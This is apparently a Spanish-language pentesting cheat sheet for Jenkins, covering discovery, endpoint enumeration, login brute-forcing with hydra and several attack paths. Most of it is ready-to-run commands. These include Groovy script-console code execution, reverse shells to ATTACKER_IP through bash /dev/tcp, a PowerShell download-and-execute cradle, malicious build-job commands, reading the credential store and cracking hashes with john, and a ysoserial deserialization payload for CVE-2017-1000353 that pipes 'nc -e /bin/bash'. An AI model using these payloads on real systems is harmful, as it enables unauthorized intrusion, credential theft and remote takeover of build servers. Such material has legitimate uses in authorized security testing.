Jenkins - Discovery & Enumeration
Discovery/Footprinting
Identificación de Jenkins en una red
nmap -p 8080 --script http-title <IP>whatweb http://<IP>:8080Descubrimiento de Endpoints Sensibles
curl -s -X GET http://<IP>:8080/api/jsonObtener información del servidor Jenkins en formato JSON.
curl -s -X GET http://<IP>:8080/securityRealm/user/adminEnumeración de Usuarios
hydra -L users.txt -P passwords.txt <IP> http-post-form "/j_acegi_security_check:j_username=^USER^&j_password=^PASS^:F=Invalid"Enumeración de Plugins Instalados
curl -s -X GET http://<IP>:8080/pluginManager/api/json?depth=1 | jqEnumeración de Jobs y Builds
curl -s -X GET http://<IP>:8080/job/<JOB_NAME>/api/jsonObtener detalles de un job específico.
curl -s -X GET http://<IP>:8080/computer/api/jsonIdentificación de Configuraciones Débiles
curl -s -X GET http://<IP>:8080/config.xmlVerificar configuraciones globales de Jenkins.
curl -s -X GET http://<IP>:8080/manageAttacking Jenkins
Explotación de Jenkins Script Console
Si el endpoint /script está accesible, se puede ejecutar código arbitrario:
curl -X POST http://<IP>:8080/scriptText --data-urlencode "script=println 'Hacked!'.execute().text"- Objetivo: Ejecutar comandos en el servidor.
Ejecutar un revershell en Linux:
def cmd = "bash -c 'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1'".execute()
cmd.waitFor()Ejecutar un revershell en Windows:
def cmd = "powershell -c IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/shell.ps1')".execute()
cmd.waitFor()2. Explotación de Credenciales Expuestas
Si se puede acceder a credentials.xml:
curl -s -X GET http://<IP>:8080/credentials/store/system/domain/_/api/json- Buscar credenciales almacenadas.
Si se obtiene un hash:
john --wordlist=rockyou.txt hash.txt- Intentar descifrar contraseñas.
3. RCE a través de Build Jobs
Si tienes permisos para crear/modificar un Job:
- Crear un nuevo Job en
/newJob. - Configurar el Build con un comando malicioso:
- Linux:
bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1- Windows:
IEX(New-Object Net.WebClient).DownloadString('http://ATTACKER_IP/shell.ps1')- Ejecutar el Job y capturar la shell en el atacante:
nc -lvnp 44444. Explotación de Plugins Vulnerables
Buscar plugins vulnerables:
curl -s http://<IP>:8080/pluginManager/api/json?depth=1 | jqSi se detecta Script Security Plugin (antes de 1.50), se puede ejecutar código arbitrario desactivando sandbox.
5. Privilege Escalation & Lateral Movement
Si se obtiene acceso a Jenkins:
whoami
id
cat /etc/passwd- Objetivo: Identificar privilegios y posibles movimientos laterales.
Si Jenkins está en modo Master-Slave, intentar ejecutar comandos en los agentes:
curl -X POST http://<IP>:8080/computer/slave-01/scriptText --data-urlencode "script=println 'whoami'.execute().text"6. Deserialización & Exploits Públicos
Algunas versiones de Jenkins son vulnerables a deserialización remota (CVE-2017-1000353):
java -jar ysoserial.jar CommonsCollections6 "nc -e /bin/bash ATTACKER_IP 4444" | nc <IP> 8080- Objetivo: Exploitar Jenkins usando un exploit de deserialización.